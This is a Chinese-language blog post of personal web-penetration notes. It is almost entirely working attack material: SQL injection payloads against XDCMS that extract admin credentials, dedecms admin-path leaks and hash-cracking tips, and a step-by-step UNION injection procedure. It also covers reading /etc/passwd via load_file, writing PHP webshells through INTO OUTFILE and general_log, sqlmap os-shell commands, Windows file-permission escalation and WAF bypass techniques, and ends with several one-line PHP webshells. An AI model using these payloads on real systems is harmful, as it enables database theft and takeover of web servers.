web--杂烩

这个笔记有点乱

0x01 cms

  • XDCMS
    1、SQL注入漏洞
    <a>注册会员处的 SQL 注入
    /system/modules/member/index.php 中的注册函数 register_save() 过滤不严,可绕过限制造成 SQL 注入
    注册时burp一下,然后payload
    payload:
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#

<b>会员资料修改处的 SQL 注入
修改资料时burp一下,然后payload,url编码后的payload插入至truename与%5D之间
payload:%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
即:

`=(select group_concat(username,0x3a,password) from c_admin where id=1)#
  • dedecms
    1、后台地址信息泄露的漏洞
    /data/mysql_error_trace.inc 或 /data/mysqli_error_trace.inc 中,可得到泄露的后台路径
    2、md5加密方式
    dedecms的20位md5加密算是从32位md5中截取的20位,所以去掉前3位和最后1位,即可获得16位md5值,然后对16位的md5值进行破解便可得到明文字符串。
    //即32位的md5值去掉前5位和后7位变成了20位的md5值

0x02 get shell

1、cacls + 文件名
查看某一文件的访问控制列表
2、whoami
查看用户名
3、type + 文件名
查看文件内容
4、cacls + 文件名 + /E /P system:F /C
//将system的权限换为F,并且在出现拒绝访问错误时继续。

0x03 SQL

  • SQL注入主要流程:
    可使用+来进行过滤了空格的注入
    1、1与1'测试存在注入否
    2、1' order by 3# //判断字段数
    3、1' union select 1,2# //根据回显判断存在注入的点
    4、1' union select version(),2# //注入出存在的数据库的类型和版本
    5、1' union select table_name,2 from information_schema.tables where table_schema=database()# //注入出所需的表名
    6、1' union select column_name,2 from information_schema.columns where table_schema='所需的表名'# //注入出所需要的列名
    7、1' union select group_concat(password,0x3a,user) from 某个数据库# //注入出用户名密码等所需信息

  • SQL注入小技巧:
    1、得到mysql版本信息:
    @@version或version()
    如果出错,可采用unhex(hex(@@version))或unhex(hex(version()))
    2、得到用户,数据库信息
    user()与database()
    3、information_schema(MySQL 5特有)
    保存有关DB服务器中存在的表和列的信息的表
    table_name from information_schema.tables //获取表列表
    column_name from information_schema.columns //获取列列表
    column_name from information_schema.columns where table_name='某个特定表名' //获取特定表中的列
    4、concat的连接作用使查询结果更直观
    select concat(username,0x3a,password),2 from '某个已知表' //得到的查询结果为:username:password
    5、MySQL 4
    只能一个个的试表名,根据错误提示给的表名和列名进行下一步注入
    值得尝试的一些表名:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members。

  • 系统表:sys.objects和sys.columns

  • 修改数据库的三个命令:
    1、updata:更改现有数据
    2、delete:删除指定数据
    3、drop:删除指定表
    4、“ ;”:可以连接两个操作

  • 关闭MySQL服务器
    shutdown with nowait

  • 加载服务器的指定文件
    load_file('指定文件名') //eg:etc/passwd,htaccess,htpasswd,有时需进行hex处理

  • 获取mysql.version>5的root权限
    1>查询数据平台用户名和密码:union+all+select+concat(user,0x3a,password),2+from+mysql.user#
    2>菜刀连接:1' union select 1,'<?php @eval($_POST["pass"])?>' into outfile '1.php'#

  • sqlmap使用
    1、sqlmap.py -u url --dbs //查看数据库名
    2、slqmap.py -u url -D 某个数据库名 --table //查看某个数据库下的所有表
    3、sqlmap.py -u url -D 某个数据库名 -T 数据库下的某个表 --column //查看数据库下的列
    4、sqlmap.py -u url -D 某个数据库名 -T 某个表 --dump //导出数据
    5、sqlmap.py -u url -D 某个数控库名 --count //数据库中表的详细记录统计
    6、sqlmap.py -u url --sql-shell //通过sql-shell执行查询命令

  • php网站webshell获取三种方式

<1>通过phpmyadmin登陆执行导出获取
select '<?php @eval($_POST["pass"]);?>'INTO OUTFILE 'www文件路径/a.php'

<2>general_log配置文件获取
show global variable like "%genera%";   //查看genera文件配置情况
set global general_log=off;     //关闭general_log
set global general_log='on';    //通过general_log选项来获取webshell
SET global general_log_file='www文件路径/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

<3>sqlmap os-shell获取    //对于root账号,可以通过其来获取webshell
sqlmap -u url --os-shell        
/*物理路径获取*/
info.php来获取www文件路径
  • 9种绕过WAF的方式
    1、sql语句大小写混用;
    2、在关键字中间插入将会被WAF过滤的字符;
    3、sqsl语句编码后再输入(URL encode,Hex encode,Unicode encode);
    4、使用注释 /!攻击关键字符/;
    5、等价函数替代过滤掉的函数和命令;
    6、使用特殊符号;
    7、HTTP参数控制,提供多个参数名相同,参数值不同的值集来混淆WAF(HPP、HPF、HPC);
    8、缓冲区溢出,使WAF崩溃;
    9、整合绕过

0x04 渗透

<?php 
echo '>1';
?>


<?php
 $a="${phpinfo()}";
echo "$a";
?>



<?php
if(strlen($_GET[1])<9){
     echo shell_exec($_GET[1]);
}
?>

<?php @eval($_POST[value]);?>

<?php eval($_GET["cmd"]);?>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 6,335评论 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,532评论 2 22
  • Repeater Burp Repeater(中继器)是用于手动操作和补发个别HTTP请求,并分析应用程序的响应一...
    Eva_chenx阅读 13,235评论 1 12
  • Getting Started Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为...
    Eva_chenx阅读 29,009评论 0 14
  • 这个毛病高考高考之后就有了,中学的时候睡眠很好,那时候思虑比较单纯,虽说学习压力很大,但是大多数时候都是倒头就睡。...
    pote王二阅读 3,130评论 0 3